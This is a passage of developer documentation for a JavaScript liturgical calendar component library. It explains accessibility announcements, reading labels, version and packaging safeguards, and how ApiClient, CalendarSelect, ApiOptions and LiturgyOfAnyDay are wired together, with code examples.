this content and would otherwise announce it twice. A boolean rather than a bag, because the wording is
already localized through
Messages; widening it later is backward compatible. - The first render is silent, and "first" is per REGION, not per instance. It is the page loading, not a
user action, and a region firing then talks over whatever else is being announced. It is also the render
that MOUNTS the region, and a live region has to be in the DOM before its content changes to be announced
at all — so skipping it is not merely manners. That is why
#hasRenderedis reset wherever a region is detached or replaced:WebCalendar.dispose(), andannounceUpdates( true )after a( false )on either component. Both rebuild or re-insert the region, so the render that does so has to be silent again. WebCalendar's region must survive the table swap. ItscalendarFetchedhandler usedreplaceChildren( table ), which would take the region with it;#swapIn()removes every child except the region instead, then inserts the table before it. Do not "simplify" that back intoreplaceChildren()— a region that is removed and re-inserted is not reliably announced. With announcements off the two are equivalent, including clearing the consumer's placeholder content.WebCalendarannounces the caption's own string, via#captionText(), extracted frombuildTable()for exactly that reason. Deriving the calendar's name a second time would mean a second set of translations free to drift from the captions. It is called even whenremoveCaption( true )hides the element.LiturgyOfAnyDayrenders twice for one year change — once from the cached payload, once from the refetch — so#refetchPendingkeeps the first, stale one silent. This is the ONE path where coalescing does not already give one render per action;src/__tests__/AnnouncementFrequency.test.jsconfirms theApiClientpath does, by counting announcements through realchangeevents rather than assuming.- No meta-component option.
CalendarViewerandDayViewerexpose the child, soviewer.webCalendar.announceUpdates( false )reaches it without a further key in their option bags.
src/MessageFormat.js is where a Messages key with {placeholders} is resolved, interpolated and — via
Intl.PluralRules, with only _ONE/_OTHER populated — pluralized. Internal, like LocaleValidation.js.
The three caption sites in WebCalendar.js still inline the same regex; converting them is a refactor for
its own change. src/LiveAnnouncer.js owns the hidden-region markup, shared with SubscriptionUrl, and holds
no policy about when to announce — that belongs to each caller, since SubscriptionUrl must announce on
its first use while the two renderers must not.
Two known gaps, both recorded rather than papered over: LiturgyOfAnyDay's announcement names the date and
not the calendar, so changing only the calendar or the rite leaves the text identical and a screen reader may
not repeat it; and LiturgyOfAnyDay.listenTo() — unlike WebCalendar.listenTo() — does not release a
previous subscription, so calling it twice announces twice per fetch. Both predate or fall outside #65.
LiturgyOfTheDay has no region, deliberately: #updateEventDetails() appends without clearing, so a second
fetch duplicates rather than replaces, and "updated" would misdescribe that. Fixing the duplication is a
separate defect.
The tests are structural. jsdom has no accessibility tree and no assistive technology, so nothing in
WebCalendarAnnouncements.test.js, LiturgyOfAnyDayAnnouncements.test.js or AnnouncementFrequency.test.js
proves a screen reader speaks. They prove the markup is present, correctly attributed, stable across a
re-render, and written exactly once per action. Verifying the announcement itself needs a real browser and a
real screen reader.
Exported since #97, because a consumer rendering readings its own way needs the same vocabulary and
otherwise rediscovers it by reading this file — which is what
LiturgicalCalendarFrontend's sanctorale viewer ended up doing, leaving a second copy of the key
list free to drift from this one. Three points are load-bearing:
- The nested-schema key list is DERIVED from
massLabels, not restated.static #nestedSchemaKeysisObject.keys( ReadingsRenderer.massLabels ), so the keys the renderer recognises and the labels it prints for them cannot disagree, and a consumer reading the publicmassLabelsis reading the whole schema vocabulary — order included, since that key order IS the render order. It used to be a second hand-maintained literal of the same ten keys in the same order. Do not restate it;massLabelsis declared above it because static field initializers run in source order. hasNestedSchemas()exists as BOTH a static and an instance method, and the instance one delegates. The static is the implementation. The predicate is the first thing a consumer needs and the last thing it can guess, and reaching it must not require constructing a renderer whose markup the caller has already decided against — while the instance spelling is the only one that existed before the class was exported, and is whatLiturgyOfTheDayandLiturgyOfAnyDaycall. Neither is deprecated.- The labels ARE routed through
Messages.js(#105), and the English is DERIVED, not restated.READING_MESSAGE_KEYSandMASS_MESSAGE_KEYSmap each key to itsMessageskey; the publicreadingLabels/massLabelsare built fromMessages.enthrough them, so the English lives in one place.READING_MESSAGE_KEYS' key order is load-bearing: it becomesreadingLabels' published key order (the actual per-reading render order is the separatereadingOrderarray, whichrenderSingleReadings()iterates).MASS_MESSAGE_KEYS' key order is load-bearing twice over: it becomesmassLabels' published order, which IS the schema render orderrenderReadings()iterates, and — via#nestedSchemaKeys— the key sethasNestedSchemas()recognises. A hand-written second statement of both maps inReadingsRenderer.test.jspins this; do not "simplify" it into readingMessages.enback, which would agree with itself. - The statics stay ENGLISH whatever locale a renderer holds, because a static cannot know one. There
is deliberately no
readingLabel( key, locale )accessor pair: it was proposed and declined as speculative surface, and the likely future answer is a consumer-supplied translation bundle, which subsumes it. So a consumer rendering its own markup reads English labels — an accepted cost, recorded in the design doc rather than discovered later. - Only
en,itandlaare populated. The other 81 blocks fall back throughmessage(), the documented normal case.it/lawere drafted for maintainer review;MASS_VIGIL's Italian deliberately matches the API's ownMessa della vigiliaso the two projects agree.
The static private field leaks into the emitted declaration as static readonly "__#21@#nestedSchemaKeys".
That is a tsc quirk affecting every static #private in the package — twenty already-exported classes
including ApiBase, ApiClient, ApiOptions and CalendarControls emit the same shape — not something
this class introduced, and not something to work around here.
Full documentation lives in docs/readings-renderer.md.
- No build step for production - Components work as-is with ES6 module imports
- API dependency - Components require access to Liturgical Calendar API
- Default API URL -
https://litcal.johnromanodorazio.com/api/dev - Browser support - Browsers with ES2022 support (see the Target section under Code Standards): Chrome/Edge 94+, Firefox 93+, Safari 15.4+. ES6 module support alone is not sufficient
- Version -
VERSIONis exported fromsrc/index.jsso a page can report which build it is running. See Releasing below: bumping a release means editing two files
A version bump is a two-file edit: package.json and src/Version.js. Forgetting the second is not
silent — src/__tests__/Version.test.js reads package.json off disk and fails on drift, which is the
whole point of the arrangement: the failure #64 described was a version claim nobody could trust, so an
untrue claim has to be loud rather than merely wrong.
The constant is hand-maintained rather than generated, and the two obvious alternatives were both measured and rejected:
- A build-time generator would have to write into
src/, becausedist/is gitignored. The result is either committed (identical to what exists now, plus a generator to maintain) or gitignored (breakingyarn testandyarn storybookon a fresh clone, before a firstyarn compile).compile:watchalso cannot regenerate on apackage.jsonchange, so the watch build would drift exactly where a developer is least likely to look. - Importing
package.jsonwithwith { type: 'json' }does not survive the emit:tscpasses the import through verbatim intodist/, inlining nothing, so every consumer evaluates a real JSON module import at run time. Import attributes need Chrome 123+/Firefox 121+/Safari 17.2+/Node 20.10+, against this package's documented floor of Chrome 94+/Firefox 93+/Safari 15.4+/Node 16.11+.
VERSION carries a JSDoc @type {string}. Do not remove it. Without it tsc infers the const at its
literal type and declares export const VERSION: "2.7.0", which makes a consumer's version-floor check —
VERSION === '2.8.0', the comparison the constant exists for — a TS2367 error rather than a boolean. This is
the same class of .d.ts-only bug as the @readonly-on-a-getter trap: invisible to yarn compile, because
checkJs is off, and invisible to yarn lint:dts on its own, because a narrowed literal is perfectly valid
TypeScript.
type-fixtures/dts-consumer.ts is what actually enforces it. This is the general home for compile-time
assertions about the emitted declarations — things no runtime test can reach, because they are properties of
the .d.ts rather than of any value. tsconfig.dts-check.json lists it alongside dist/index.d.ts, so it is
checked against dist/ the way a consumer's own tsconfig.json would check it, and tsconfig.json — which
includes only ./src/**/* and excludes **/*.ts — cannot pull it into the build. Run yarn compile before
yarn lint:dts: the fixture imports from dist/, which lint:dts checks but does not rebuild.
The VERSION assertion there is written as an assignment (const x: typeof VERSION = '' as string) rather
than as the version-floor comparison it protects. The comparison only errors while its literal differs from
the current version, so it would go quiet the moment someone bumped the package to the very version being
compared against — silently retiring the guard. The assignment fails for any literal type, so it stays honest
across releases.
There is deliberately no ApiClient.version. ApiClient and ApiBase deal in the API's own versioned base
URLs (/api/dev), so a version on the client would read as the API's version rather than this package's.
The bare VERSION export carries the package name at its import site, which is the disambiguation a static
property would lack.
package.json's files array is an ALLOWLIST, and there is no .npmignore. The denylist it replaced
(#37, #38) shipped whatever nobody thought to exclude: tsconfig.dts-check.json and debug-storybook.log
reached the published 2.0.0, and by the time #38 was acted on four more root entries had joined them —
.claude/settings.local.json, .serena/project.yml, .gitattributes and type-fixtures/dts-consumer.ts.
Every one was a file added after the denylist was last audited, which is the point: a denylist fails open,
recurs on its own, and is visible only to someone who thinks to run npm pack --dry-run. .npmignore was
deleted outright rather than kept for the src/ carve-outs, which files expresses as negated entries —
two mechanisms describing one boundary is how the original confusion started.
Four things about the array are load-bearing, and two of them are surprises rather than conventions:
src/must stay.tsconfig.jsonsetsdeclarationMap: trueand every.d.ts.mapindist/points at../src/<name>.js, which is what gives a consumer "Go to Definition" into the real source instead of a.d.tsstub. Dropping it degrades every consumer's editor and raises no error anywhere.dist/is GITIGNORED and ships only becausefilesoutranks.gitignore. Verified against npm 11.18.0. Reverse that precedence and the package publishes with no code in it.CHANGELOG.mdis NOT on npm's always-included list — onlypackage.json,README.mdandLICENSEare — so it ships only because it is named explicitly. Also verified rather than assumed; #38 flagged it as the entry most likely to be dropped as redundant.- The negated
!src/stories/,!src/__tests__/,!src/__fixtures__/entries are what keep the test tree out. Negation insidefilesis what made deleting.npmignorepossible.
src/__tests__/PackageManifest.test.js pins these by asking npm pack --dry-run --json what it would
actually ship. It deliberately does NOT pin the full 232-path manifest: that would need regenerating for
every new source file, and a check that is noisy on ordinary work stops being read. It asserts the
top-level entry set exactly (which is what catches a stray), that the entry points are present, that
src/*.js and dist/*.d.ts.map counts match (which states the dependency making src/ non-optional
without pinning a number), and that no test tree leaked. It runs under yarn test, so CI already covers
it with no extra workflow step.
It needs yarn compile to have run first, exactly as yarn lint:dts does and for the same reason:
dist/ is gitignored, so a fresh clone has none. It fails with that instruction by name rather than
skipping — a skip would let the guard pass vacuously the day a change dropped the compile step from CI,
which is precisely when it should object — and rather than compiling for itself, which would make every
yarn test pay for a full tsc and make the file something other than a test.
Components communicate through the ApiClient which acts as a central hub:
// ApiClient listens to UI components for changes
apiClient.listenTo(calendarSelect).listenTo(apiOptions);
// Display components listen to ApiClient for data
webCalendar.listenTo(apiClient);
liturgyOfTheDay.listenTo(apiClient);
liturgyOfAnyDay.listenTo(apiClient);A RiteSelect is inert on its own, and on a fetching page it takes two wires, because two different
consumers act on a rite change:
apiOptions.linkToCalendarSelect(calendarSelect).linkToRiteSelect(riteSelect);
apiClient.listenTo(calendarSelect).listenTo(riteSelect).listenTo(apiOptions);ApiOptions rebuilds the calendar list, disables the temporal options the rite fixes, and adjusts the year
floor. Only the client turns the rite into a path segment. Wire just the first and the failure is silent:
the form reads ambrosian while every request still goes to /calendar/roman/.
linkToRiteSelect() is chainable and may be called before or after linkToCalendarSelect() — whichever
arrives second completes the pairing. Passing the rite select as a second argument to
linkToCalendarSelect() is deprecated and warns: it did the same thing, but read as if it were the whole
wiring.
A page that only renders a form, with no ApiClient, needs no second wire — use
CalendarSelect.linkToRiteSelect() directly, which works for any filter.
A rite change SETS the five settings inputs, not only disables four of them, and the two halves of
that rule are not the same rule. #applyTemporalInputState() disables; #applyRiteToTemporalInputs()
(called from applyRite() immediately before it) applies the rite's own settings block, which the API
publishes under ambrosian_calendars[0]. Before #70 nothing ever set them, so selecting Italy and then
switching to Ambrosian left a greyed-out select reading SUNDAY for a feast the Missal fixes to
Thursday — and, worse, left ApiClient.#params carrying that SUNDAY into the /calendar/ambrosian
request body, since the client learns those five parameters only from change listeners on the inputs.
Four points a change here must not undo:
- The values come from
/calendars, never fromRiteProperties. Putting them insrc/Enums.jswould ship without an API change andminYearis already calendar data sitting there, but it copies liturgical law into the client where it drifts from the API in silence. - A rite that publishes no settings changes no VALUE. The Roman rite has no
roman_calendarskey at all, soApiBase.riteCalendars( 'roman' )returns[]and this is a no-op on every Roman page. "Absent" is not "empty", and blanking here would break every one of them. - Holy days of obligation follow the LOCALE input's rule, not the four values' rule. They are an
option list the rite defines rather than a value drawn from a fixed list, so the list is replaced when
the rite publishes one and restored to
HolydaysOfObligationInput.BASE_OPTIONSwhen it does not. Leaving it alone for the Roman rite is what would carryCirconcisione,StAmbroseandDedicationDuomoout of an Ambrosian form and into a General Roman Calendar one. That replacement needssetOptions( list, false ): the merging default is right for a nation (every national list the API serves names all ten base keys) and wrong for a rite, whose list omits four base entries and adds three of its own — merging would assertStJosephis an Ambrosian holy day of obligation. - The
changedispatches are conditional, on the same rule as the year clamp and the locale rebuild beside them, and a published value no<option>carries is skipped rather than assigned — assigning an unmatched value to a<select>leavesselectedIndex === -1and blanks it, so API drift has to degrade to "unchanged", never to "empty".
src/__fixtures__/metadata.js's ambrosian_calendars[0].settings has been wrong in both directions
— invented before the API served it (dab21b5 removed it), then missing after the API shipped it. Keep
it byte-identical to the live /calendars response, and re-check it whenever the API's metadata moves.
Each ApiClient is bound to an ApiBase — one object per API base URL, owning that base's calendar index and
response cache. CalendarSelect and ApiOptions take an apiClient option that binds them to that client's
base:
const dev = await ApiClient.init('http://localhost:8000');
const prod = await ApiClient.init('https://litcal.johnromanodorazio.com/api/dev');
const devSelect = new CalendarSelect({ locale: 'en', apiClient: dev });
const devOptions = new ApiOptions({ locale: 'en', apiClient: dev }).linkToCalendarSelect(devSelect);
const prodSelect = new CalendarSelect({ locale: 'en', apiClient: prod });- Omitting
apiClientbinds to the first base registered, so single-base pages need no change. Once more than one base is registered, an unbound component warns once per component class and names the base it chose. PathBuilderhas noapiClientoption: it takes its base from theApiOptionsandCalendarSelectpassed to it, and throws when those two are bound to different bases.CalendarSelect.linkToNationsSelect()throws on the same mismatch.WebCalendar,LiturgyOfTheDayandLiturgyOfAnyDaybind throughlistenTo(apiClient)as before.ApiClient.init()returns a new client on every call, including for a base already registered — only the metadata and cache are shared, which is what lets two clients on one API hold different rites.
examples/CompareBases/ is a complete two-pane page. In tests, build a loaded base with no network call using
ApiBase.fromMetadata(url, metadata), and call ApiBase.reset() in beforeEach.
The LiturgyOfAnyDay component provides a complete widget for viewing liturgy on any date:
Key Features:
- Internal
DayInput,MonthInput, andYearInputcontrols - Automatic year_type handling for December 31st (switches to LITURGICAL to include vigil masses)
- Caches calendar data and re-renders when day/month changes (no API call)
- Triggers API refetch only when year changes or year_type needs to change
- High-contrast text colors based on liturgical color backgrounds
- Border added for white backgrounds to distinguish from parent
Configuration Methods:
const liturgyOfAnyDay = new LiturgyOfAnyDay({ locale: 'en' })
.id('liturgyOfAnyDay')
.class('card shadow')
.titleClass('h3')
.dateClass('card-header')
.dateControlsClass('row g-3 p-3')
.eventsWrapperClass('card-body')
.eventClass('p-3 mb-2 rounded')
.eventGradeClass('small')
.eventCommonClass('small fst-italic')
.eventYearCycleClass('small')
.dayInputConfig({ wrapper: 'div', wrapperClass: 'col-md', class: 'form-control', labelClass: 'form-label', labelText: 'Day' })
.monthInputConfig({ wrapper: 'div', wrapperClass: 'col-md', class: 'form-select', labelClass: 'form-label', labelText: 'Month' })
.yearInputConfig({ wrapper: 'div', wrapperClass: 'col-md', class: 'form-control', labelClass: 'form-label', labelText: 'Year' })
.buildDateControls()
.listenTo(apiClient);
liturgyOfAnyDay.appendTo('#container');December 31st Handling:
The component automatically handles the special case of December 31st:
- When the selected date is December 31st, it fetches with
year_type=LITURGICALandyear=selectedYear+1 - This ensures the Vigil Mass for Mary Mother of God (January 1st) is included
- When switching away from December 31st, it reverts to
year_type=CIVIL - The
listenTo(apiClient)method configures ApiClient with the correct initial year_type
// 1. Initialize ApiClient
const apiClient = await ApiClient.init(BaseUrl);
// 2. Create CalendarSelect with General Roman Calendar as default
const calendarSelect = new CalendarSelect(lang)
.class('form-select')
.allowNull(true);
calendarSelect.appendTo('#calendarContainer');
calendarSelect.value(''); // Select General Roman Calendar
// 3. Create ApiOptions with locale filter, linked to CalendarSelect
const apiOptions = new ApiOptions(lang)
.filter(ApiOptionsFilter.LOCALE_ONLY)
.linkToCalendarSelect(calendarSelect);
apiOptions.appendTo('#localeContainer');
// 4. Select appropriate locale (exact match > language match > first option)
const localeOptions = apiOptions.localeInput.options();
const exactMatch = localeOptions.find(val => val === lang);
const languageMatch = localeOptions.find(val => val.split(/[-_]/)[0] === lang);
let selectedLocale = exactMatch || languageMatch || localeOptions[0] || lang;
apiOptions.localeInput.value(selectedLocale);
// 5. Create LiturgyOfAnyDay (configures ApiClient year_type automatically)
const liturgyOfAnyDay = new LiturgyOfAnyDay({ locale: lang })
.buildDateControls()
.listenTo(apiClient);
liturgyOfAnyDay.appendTo('#liturgyContainer');
// 6. Wire ApiClient to listen to UI components
apiClient.listenTo(calendarSelect).listenTo(apiOptions);
// 7. Initial fetch with the matched locale (the promise is yours: handle its rejection)
apiClient.fetchCalendar(selectedLocale).catch((error) => {
console.error(`Could not load the calendar: ${error.message}`);
});By default, CalendarSelect selects Vatican as the first option. To select the General Roman Calendar instead:
calendarSelect.appendTo('#container');
calendarSelect.value(''); // Empty value = General Roman Calendarvalue( val ) throws for any other value no option carries, naming the select and the value. That
throw sits there because it is the last place the mistake is nameable: assigning an unmatched value to a
<select> leaves selectedIndex === -1 and the DOM discards the value, so every later reader —
value(), ApiClient's change listener, PathBuilder — sees only ''. '' is exempt and must stay
exempt: #allowNull is false by default and #applyLinkedRite() writes '' on every rite change, so
on most selects the documented recipe above lands on selectedIndex === -1 deliberately.
Downstream of that, selectedIndex === -1 is read as the rite-level calendar and never throws — the
listeners cannot distinguish it from the empty option being selected, and a throw inside a change
listener is swallowed by the DOM anyway. ApiClient, PathBuilder, SubscriptionUrl and
CalendarControls.fetch() all agree on this; do not "harden" one of them into throwing (issue #66).
When setting up LocaleInput, match the user's locale with available options:
const localeOptions = apiOptions.localeInput.options();
// Try exact match first (e.g., "en" matches "en")
const exactMatch = localeOptions.find(val => val === userLang);
// Then try language match (e.g., "en" matches "en_US")
const languageMatch = localeOptions.find(val => val.split(/[-_]/)[0] === userLang);
// Fallback to first available option
const selectedLocale = exactMatch || languageMatch || localeOptions[0];